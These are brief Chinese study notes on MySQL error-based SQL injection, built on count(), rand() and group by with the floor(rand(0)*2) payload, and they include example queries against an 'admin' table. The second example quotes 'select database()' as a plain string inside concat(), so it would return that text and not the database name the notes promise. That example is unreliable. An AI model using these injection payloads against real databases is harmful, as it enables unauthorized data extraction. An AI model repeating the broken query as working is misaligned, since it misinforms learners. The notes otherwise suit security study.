利用數據庫的BUG進行利用,看報錯信息,不過報錯的信息就是我們想要的信息。
只要是count() rand group by 三個連用就會造成這種報錯。
count用於判斷數據庫或表的數量,rand用於生成一個隨機數,group by用於以什麼爲一組進行分組。
至少要有三條數據 纔有可以產生報錯注入。
floor(rand(0)*2))一定報錯
語句:
select concat(floor(rand(0)*2),"*********") as xx,count(1) from admin group by xx;
通過報錯,返回數據********,因此可以修改語句:
select concat(floor(rand(0)*2),"select database()") as xx,count(1) from admin group by xx;
則返回數據庫名
left(rand(),3)不一定報錯
round(x,d) //x指要處理的數,d是指保留幾位小數
concat() //字符串拼接